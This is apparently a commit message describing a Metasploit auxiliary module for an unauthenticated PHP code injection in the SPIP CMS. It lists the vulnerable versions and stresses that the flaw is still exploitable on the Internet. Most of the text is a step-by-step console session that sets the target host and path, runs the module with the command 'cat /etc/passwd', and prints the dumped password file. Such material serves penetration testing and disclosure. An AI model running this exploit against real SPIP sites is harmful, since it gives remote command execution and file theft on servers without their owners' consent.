added aux module for PHP inj in SPIP CMS

This module exploits a PHP code injection in SPIP, a french CMS.
Of course it is not Wordpress or Drupal but SPIP is used a lot in french speaking countries.
Ref: http://w3techs.com/technologies/overview/content_management/all

The vulnerability exists in the connect parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branchs 2.0/2.1/3 are concerned. Vulnerable versions are < 2.0.21 & < 2.1.16 & < 3.0.3. The module has been tested successfully with SPIP 2.0.11/Apache on Ubuntu and Fedora.

The vulnerability is less than one year old and is still usable on Internet.
Ref: http://www.securityfocus.com/bid/54292

Module usage is pretty straightforward:

msf > use auxiliary/admin/spip/spip_connect_exec
msf auxiliary(spip_connect_exec) > show options

Module options (auxiliary/admin/spip/spip_connect_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CMD        cat /etc/passwd  yes       The command to execute
   Proxies                     no        Use a proxy chain
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   SPIP_ROOT  /                yes       SPIP root directory
   VHOST                       no        HTTP server virtual host

msf auxiliary(spip_connect_exec) > set RHOST 192.168.1.17
RHOST => 192.168.1.17
msf auxiliary(spip_connect_exec) > set SPIP_ROOT /spip
SPIP_ROOT => /spip
msf auxiliary(spip_connect_exec) > run

[*] 192.168.1.17:80 - Sending remote command: cat /etc/passwd
[*] Attempting to connect to 192.168.1.17:80
[*] Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
(...)

[*] Auxiliary module execution completed
msf auxiliary(spip_connect_exec) >